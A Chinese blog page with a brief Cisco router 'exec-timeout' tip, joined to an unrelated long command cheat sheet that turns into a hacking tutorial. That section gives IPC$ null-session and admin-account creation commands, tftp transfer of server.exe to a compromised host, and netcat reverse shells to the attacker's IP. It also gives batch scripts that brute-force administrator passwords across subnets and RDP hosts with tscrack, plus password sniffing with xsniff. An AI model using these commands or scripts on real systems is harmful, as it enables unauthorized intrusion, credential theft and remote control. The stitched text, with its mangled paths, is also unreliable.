exec-timeout

exec-timeout 5 0        
//设置在登录路由器后,不做任何操作的情况下,5分0秒后将与路由器断开。如果不输入此命令,当你进入路由器没有输入任何内容时,10分钟后将被路由器自动踢出。“exec-timeout”命令的完整形式为:exec-timeout x x (也就是exec-timeout 分秒)注:如果你在此输入“exec-timeout 0 0”则表示你将永远与路由器保持联接,除非你自己logout。列如:       
router#config t       
router(config)#line vty 0 4       
router(config-line)#login

router(config-line)#password xju

router(config-line)#exec-timeout 5 30      
//终端空闲5分30秒后自动logout


本文转自 stock0991 51CTO博客,原文链接:http://blog.51cto.com/qing0991/1408072

  • 1
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CMD命令:开始->运行->键入cmd或command(在命令行里可以看到系统版本、文件系统版本) 命令大全 1. gpedit.msc-----组策略 2. sndrec32-------录音机    3. Nslookup-------IP地址侦测器 ,是一个 监测网络中 DNS 服务器是否能正确实现域名解析的命令行工具。它在 Windows NT/2000/XP 中均可使用,但在 Windows 98 中却没有集成这一个工具。    4. explorer-------打开资源管理器    5. logoff---------注销命令    6. shutdown-------60秒倒计时关机命令    7. lusrmgr.msc----本机用户和组    8. services.msc---本地服务设置    9. oobe/msoobe /a----检查XP是否激活    10. notepad--------打开记事本    11. cleanmgr-------垃圾整理    12. net start messenger----开始信使服务    13. compmgmt.msc---计算机管理    14. net stop messenger-----停止信使服务    15. conf-----------启动netmeeting    16. dvdplay--------DVD播放器    17. charmap--------启动字符映射表    18. diskmgmt.msc---磁盘管理实用程序    19. calc-----------启动计算器    20. dfrg.msc-------磁盘碎片整理程序    21. chkdsk.exe-----Chkdsk磁盘检查    22. devmgmt.msc--- 设备管理器    23. regsvr32 /u *.dll----停止dll文件运行    24. drwtsn32------ 系统医生    25. rononce -p----15秒关机    26. dxdiag---------检查DirectX信息    27. regedt32-------注册表编辑器    28. Msconfig.exe---系统配置实用程序    29. rsop.msc-------组策略结果集    30. mem.exe--------显示内存使用情况    31. regedit.exe----注册表    32. winchat--------XP自带局域网聊天    33. progman--------程序管理器    34. winmsd---------系统信息    35. perfmon.msc----计算机性能监测程序    36. winver---------检查Windows版本    37. sfc /scannow-----扫描错误并复原    38. taskmgr-----任务管理器(2000/xp/2003)    39. regsvr32 /u *.dll----停止dll文件运行    40. wmimgmt.msc----打开windows管理体系结构(WMI)    41. wupdmgr--------windows更新程序    42. wscript--------windows脚本宿主设置    43. write----------写字板    45. wiaacmgr-------扫描仪和照相机向导    46. winchat--------XP自带局域网聊天    49. mplayer2-------简易widnows media player    50. mspaint--------画图板    51. mstsc----------远程桌面连接    53. magnify--------放大镜实用程序    54. mmc------------打开控制台    55. mobsync--------同步命令    57. iexpress-------木马捆绑工具,系统自带    58. fsmgmt.msc-----共享文件夹管理器    59. utilman--------辅助工具管理器    61. dcomcnfg-------打开系统组件服务    62. ddeshare-------打开DDE共享设置    63. osk------------打开屏幕键盘    64. odbcad32-------ODBC数据源管理器    65. oobe/msoobe /a----检查XP是否激活    66. cmd.exe--------CMD命令提示符    67. regsvr32 /u zipfldr.dll------取消ZIP支持    68. ntbackup-------系统备份和还原    69. narrator-------屏幕“讲述人”    70. ntmsmgr.msc----移动存储管理器    71. ntmsoprq.msc---移动存储管理员操作请求    72. netstat -an----(TC)命令检查接口    73. syncapp--------创建一个公文包    74. sysedit--------系统配置编辑器    75. sigverif-------文件签名验证程序    76. ciadv.msc------索引服务程序    77. shrpubw--------创建共享文件夹    78. secpol.msc-----本地安全策略    79. syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码    80. services.msc---本地服务设置    81. Sndvol32-------音量控制程序    82. sfc.exe--------系统文件检查器    83. sfc /scannow---windows文件保护    84. ciadv.msc------索引服务程序    85. tourstart------xp简介(安装完成后出现的漫游xp程序)    86. taskmgr--------任务管理器    87. eventvwr-------事件查看器    88. eudcedit-------造字程序    89. compmgmt.msc---计算机管理    90. packager-------对象包装程序    91. perfmon.msc----计算机性能监测程序    92. charmap--------启动字符映射表    93. cliconfg-------SQL SERVER 客户端网络实用程序    94. Clipbrd--------剪贴板查看器    95. conf-----------启动netmeeting    96. certmgr.msc----证书管理实用程序 操作详解 net use ipipc$ " " /user:" " 建立IPC空链接    net use ipipc$ "密码" /user:"用户名" 建立IPC非空链接    net use h: ipc$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:    net use h: ipc$ 登陆后映射对方C:到本地为H:    net use ipipc$ /del 删除IPC链接    net use h: /del 删除映射对方到本地的为H:的映射    net user 用户名 密码 /add 建立用户    net user guest /active:yes 激活guest用户    net user 查看有哪些用户    net user 帐户名 查看帐户的属性    net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限    net start 查看开启了哪些服务    net start 服务名 开启服务;(如:net start telnet, net start schedule)    net stop 服务名 停止某服务    net time 目标ip 查看对方时间    net time 目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息    net view 查看本地局域网内开启了哪些共享    net view ip 查看对方局域网内开启了哪些共享    net config 显示系统网络设置    net logoff 断开连接的共享    net pause 服务名 暂停某服务    net send ip "文本信息" 向对方发信息    net ver 局域网内正在使用的网络连接类型和信息    net share 查看本地开启的共享    net share ipc$ 开启ipc$共享    net share ipc$ /del 删除ipc$共享    net share c$ /del 删除C:共享    net user guest 12345 用guest用户登陆后用将密码改为12345    net password 密码 更改系统登陆密码    netstat -a 查看开启了哪些端口,常用netstat -an    netstat -n 查看端口的网络连接情况,常用netstat -an    netstat -v 查看正在进行的工作    netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况    netstat -s 查看正在使用的所有协议使用情况    nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名   tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。   ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。    ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)   ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息    tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)    kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)    del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件   del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)    move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖    fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令    at id号 开启已注册的某个计划任务    at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止    at id号 /delete 停止某个已注册的计划任务   at 查看所有的计划任务    at ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机   finger username @host 查看最近有哪些用户登陆    telnet ip 端口 远和登陆服务器,默认端口为23    open ip 连接到IP(属telnet登陆后的命令)    telnet 在本机上直接键入telnet 将进入本机的telnet    copy 路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件    copy c:srv.exe ipadmin$ 复制本地c:srv.exe到对方的admin下    copy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件    copy ipadmin$svv.exe c: 或:copyipadmin$*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:    xcopy 要复制的文件或目录树 目标地址目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件   用参数/e才可连目录下的子目录一起复制到目标地址下。    tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exec:server.exe 登陆后,将“IP”的server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送    tftp -i 对方IP put c:server.exe 登陆后,上传本地c:server.exe至主机    ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)    route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface    arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息    start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令    mem 查看cpu使用情况    attrib 文件名(目录名) 查看某文件(目录)的属性    attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性    dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间    date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间    set 指定环境变量名称=要指派给变量的字符 设置环境变量    set 显示当前所有的环境变量    set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量    pause 暂停批处理程序,并显示出:请按任意键继续....    if 在批处理程序中执行条件处理(更多说明见if命令及变量)    goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)    call 路径批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)   for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)    echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置    echo 信息 在屏幕上显示出信息    echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中    findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello    find 文件名 查找某文件    title 标题名字 更改CMD窗口标题名字    color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白    prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为:EntSky )    ver 在DOS窗口下显示版本信息    winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)    format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS,例:Format D: /FS:NTFS    md 目录名 创建目录    replace 源文件 要替换文件的目录 替换文件    ren 原文件名 新文件名 重命名文件名    tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称    type 文件名 显示文本文件的内容    more 文件名 逐屏显示输出文件    doskey 要锁定的命令=字符    doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=    taskmgr 调出任务管理器    chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误    tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口    exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe   path 路径可执行文件的文件名 为可执行文件设置一个路径。    cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?    regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;    regedit /e 注册表文件名 导出注册表    cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D: est.txt /D pub 设定d: est.txt拒绝pub用户访问。    cacls 文件名 查看文件的访问用户权限列表    REM 文本内容 在批处理文件中添加注解    netsh 查看或更改本地网络配置情况    IIS服务命令    iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)    iisreset /start或stop 启动(停止)所有Internet服务    iisreset /restart 停止然后重新启动所有Internet服务    iisreset /status 显示所有Internet服务状态    iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动    iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机   iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务    iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。    FTP 命令:(后面有详细说明内容)    ftp的命令行格式为:   ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。    -d 使用调试方式。    -n 限制ftp的自动登录,即不使用.netrc文件。    -g 取消全局文件名。    help [命令] 或 ?[命令] 查看命令说明    bye 或 quit 终止主机FTP进程,并退出FTP管理方式.    pwd 列出当前远端主机目录    put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中    get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中    mget [remote-files] 从远端主机接收一批文件至本地主机    mput local-files 将本地主机中一批文件传送至远端主机    dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件    ascii 设定以ASCII方式传送文件(缺省值)    bin 或 image 设定以二进制方式传送文件    bell 每完成一次文件传送,报警提示    cdup 返回上一级目录    close 中断与远程服务器的ftp会话(与open对应)    open host[port] 建立指定ftp服务器连接,可指定连接端口    delete 删除远端主机中的文件    mdelete [remote-files] 删除一批文件    mkdir directory-name 在远端主机中建立目录    rename [from] [to] 改变远端主机中的文件名    rmdir directory-name 删除远端主机中的目录    status 显示当前FTP的状态    system 显示远端主机系统类型    user user-name [password] [account] 重新以别的用户名登录远端主机    open host [port] 重新建立一个新的连接    prompt 交互提示模式    macdef 定义宏命令    lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录   chmod 改变远端主机的文件权限    case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母   cd remote-dir 进入远程主机目录    cdup 进入远程主机目录的父目录   ! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip   #5    MYSQL 命令    mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。   (例:mysql -h110.110.110.110 -Uroot -P123456   注:u与root可以不用加空格,其它也一样)    exit 退出MYSQL    mysqladmin -u用户名 -p旧密码 password 新密码 修改密码    grant select on 数据库.* to 用户名@登录主机 identified by "密码"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)   show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。   use mysql;    show tables; 显示库中的数据表    describe 表名; 显示数据表的结构    create database 库名; 建库   use 库名;    create table 表名 (字段设定列表); 建表    drop database 库名;    drop table 表名; 删库和删表    delete from 表名; 将表中记录清空    select * from 表名; 显示表中的记录    mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的mysqlin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。    win2003系统下新增命令(实用部份):    shutdown /参数 关闭或重启本地或远程主机。   参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。   例:shutdown /r /t 0 立即重启本地主机(无延时)   taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。   参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。    tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。   参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。    Linux系统下基本命令 注:要区分大小写    uname 显示版本信息(同win2K的 ver)    dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)   pwd 查询当前所在的目录位置   cd cd ..回到上一层目录,注意cd 与..之间有空格。 cd /返回到根目录。   cat 文件名 查看文件内容   cat >abc.txt 往abc.txt文件中写上内容。   more 文件名 以一页一页的方式显示一个文本文件。   cp 复制文件    mv 移动文件 rm 文件名 删除文件,rm -a 目录名删除目录及子目录    mkdir 目录名 建立目录    rmdir 删除子目录,目录内没有文档。    chmod 设定档案或目录的存取权限    grep 在档案中查找字符串    diff 档案文件比较    find 档案搜寻    date 现在的日期、时间    who 查询目前和你使用同一台机器的人以及Login时间地点    w 查询目前上机者的详细资料    whoami 查看自己的帐号名称    groups 查看某人的Group    passwd 更改密码    history 查看自己下过的命令    ps 显示进程状态    kill 停止某进程    gcc 黑客通常用它来编译C语言写的文件    su 权限转换为指定使用者    telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。    ftp ftp连接上某服务器(同win2K)    批处理命令与变量    1:for命令及变量 基本格式    FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。    批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use ipipc$ pass /user:user 中ip为%1,pass为%2,user为%3    (set):指定一个或一组文件,可使用通配符,如:(D:user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }    command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开   command_parameters:为特定命令指定参数或命令行开关   IN (set):指在(set)中取值;DO command :指执行command 参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:pass.txt)时 }。    用法举例:   @echo off   echo 用法格式:test.bat *.*.* > test.txt   for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \%1.%%G /user:administrator | find "命令成功完成" >>test.txt    存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。   /L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。   @echo off   echo 用法格式:ok.bat ip   FOR /F %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200   存为:ok.exe 说明:输入一个IP后,用字典文件d:pass.dic来暴解d:user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。    七:   2:if命令及变量 基本格式   IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。   例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。   0 指发现并成功执行(真);1 指没有发现、没执行(假)。   IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。   例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")   IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。   例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。   IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。当有del命令时需把del命令全部内容用括起来,因为del命令要单独一行时才能执行,用上后就等于是单独一行了;例如:“if exist test.txt. else echo test.txt.missing ”,注意命令中的“.”   系统外部命令   注:系统外部命令(均需下载相关工具)   瑞士军刀:nc.exe    参数说明:   -h 查看帮助信息   -d 后台模式   -e prog程序重定向,一但连接就执行[危险]   -i secs延时的间隔   -l 监听模式,用于入站连接   -L 监听模式,连接天闭后仍然继续监听,直到CTR+C   -n IP地址,不能用域名   -o film记录16进制的传输   -p[空格]端口 本地端口号   -r 随机本地及远程端口   -t 使用Telnet交互方式   -u UDP模式   -v 详细输出,用-vv将更详细   -w数字 timeout延时间隔   -z 将输入,输出关掉(用于扫锚时)   基本用法:   nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口   nc -l -p 80 开启本机的TCP 80端口并监听   nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口   nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口   nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口   高级用法:   nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止   nc -L -p 80 > c:log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:log.txt   nc -L -p 80 < c:honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用   type.exe c:honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用   本机上用: nc -l -p 本机端口   在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K   nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙   本机上用:nc -d -l -p 本机端口 存放文件的路径及名称 传送文件到对方主机   备 注:   | 管道命令    重定向命令。“<;”,例如:tlntadmn > d:log.txt 意思是:后台执行dir,并把结果存在d:log.txt中   >与>>的区别 ">"指:覆盖;">>"指:保存到(添加到)。   如:@dir c:winnt >> d:log.txt和@dir c:winnt > d:log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。   八:   扫描工具:xscan.exe   基本格式   xscan -host [-] [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息   xscan -file [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息   检测项目   -active 检测主机是否存活   -os 检测远程操作系统类型(通过NETBIOS和SNMP协议)   -port 检测常用服务的端口状态   -ftp 检测FTP弱口令   -pub 检测FTP服务匿名用户写权限   -pop3 检测POP3-Server弱口令   -smtp 检测SMTP-Server漏洞   -sql 检测SQL-Server弱口令   -smb 检测NT-Server弱口令   -iis 检测IIS编码/解码漏洞   -cgi 检测CGI漏洞   -nasl 加载Nessus攻击脚本   -all 检测以上所有项目   其它选项   -i 适配器编号 设置网络适配器,可通过"-l"参数获取   -l 显示所有网络适配器   -v 显示详细扫描进度   -p 跳过没有响应的主机   -o 跳过没有检测到开放端口的主机   -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量,默认数量为100,10 -log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)   用法示例   xscan -host 192.168.1.1-192.168.255.255 -all -active -p  检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机   xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机   xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机   九:   命令行方式嗅探器: xsniff.exe   可捕获局域网内FTP/SMTP/POP3/HTTP协议密码   参数说明   -tcp 输出TCP数据报   -udp 输出UDP数据报   -icmp 输出ICMP数据报   -pass 过滤密码信息   -hide 后台运行   -host 解析主机名   -addr IP地址 过滤IP地址   -port 端口 过滤端口   -log 文件名 将输出保存到文件   -asc 以ASCII形式输出   -hex 以16进制形式输出   用法示例   xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中   xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出   终端服务密码破解: tscrack.exe   参数说明   -h 显示使用帮助   -v 显示版本信息   -s 在屏幕上打出解密能力   -b 密码错误时发出的声音   -t 同是发出多个连接(多线程)   -N Prevent System Log entries on targeted server   -U 卸载移除tscrack组件   -f 使用-f后面的密码   -F 间隔时间(频率)   -l 使用-l后面的用户名   -w 使用-w后面的密码字典   -p 使用-p后面的密码   -D 登录主页面   用法示例   tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码   tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户   @if not exist ipcscan.txt goto noscan   @for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i   Nscan   @echo 3389.txt no find or scan faild   (①存为3389.bat) (假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt)   3389.bat意思是:从3389.txt文件中取一个IP,接着运行hack.bat   @if not exist tscrack.exe goto noscan   @tscrack %1 -l administrator -w pass.dic >>rouji.txt   :noscan   @echo tscrack.exe no find or scan faild   (②存为hack.bat) (运行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下;就可以等待结果了)   hack.bat意思是:运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码,并将破解结果保存在rouji.txt文件中。   其它   Shutdown.exe   Shutdown IP地址 t:20 20秒后将对方NT自动关闭(Windows 2003系统自带工具,在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。)   fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明(端口重定向绕过防火墙)   fpipe -l 80 -s 1029 -r 80 当有人扫锚你的80端口时,他扫到的结果会完全是的主机信息   Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后,就通过88端口发送到目标IP的23端口。(与目标IP建立Telnet时本机就用的88端口与其相连接)然后:直接Telnet 127.0.0.1(本机IP)就连接到目标IP的23端口了。   OpenTelnet.exe (远程开启telnet工具)   opentelnet.exe IP 帐号 密码 ntlm认证方式 Telnet端口 (不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet ip 连接上对方。   NTLM认证方式:0:不使用NTLM身份验证;1:先尝试NTLM身份验证,如果失败,再使用用户名和密码;2:只使用NTLM身份验证。   ResumeTelnet.exe (OpenTelnet附带的另一个工具)   resumetelnet.exe IP 帐号 密码 用Telnet连接完对方后,就用这个命令将对方的Telnet设置还原,并同时关闭Telnet服务。   FTP命令详解   FTP命令是Internet用户使用最频繁的命令之一,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。如果你想学习使用进行后台FTP下载,那么就必须学习FTP指令。   FTP的命令行格式为:   ftp -v -d -i -n -g [主机名] ,其中   -v 显示远程服务器的所有响应信息   -n 限制ftp的自动登录,即不使用;.n etrc文件;   -d 使用调试方式;   -g 取消全局文件名。   FTP使用的内部命令如下(中括号表示可选项):   1.![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip   2.$ macro-ame[args]:执行宏定义macro-name。   3.account[password]:提供登录远程系统成功后访问系统资源所需的补充口令。    4.append local-file[remote-file]:将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。   5.ascii:使用ascii类型传输方式。   6.bell:每个命令执行完毕后计算机响铃一次。   7.bin:使用二进制文件传输方式。   8.bye:退出ftp会话过程。   9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。   10. cd remote-dir:进入远程主机目录。   11.cdup:进入远程主机目录的父目录。   12.chmod mode file-name:将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。   13.close:中断与远程服务器的ftp会话(与open对应)。   14 .cr:使用asscii方式传输文件时,将回车换行转换为回行。   15.delete remote-file:删除远程主机文件。   16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。   17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件。    18.disconnection:同close。   19.form format:将文件传输方式设置为format,缺省为file方式。   20.get remote-file[local-file]:将远程主机的文件remote-file传至本地硬盘的local-file。   21.glob:设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。   22.hash:每传输1024字节,显示一个hash符号(#)。   23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:help get。    24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。 25.image:设置二进制传输方式(同binary)。 26.lcd[dir]:将本地工作目录切换至dir。 27. ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地文件local-file。 28.macdef macro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。 29.mdelete[remote-file]:删除远程主机文件。 30.mdir remote-files local-file:与dir类似,但可指定多个远程文件,如 :mdir *.o.*.zipoutfile。 31.mget 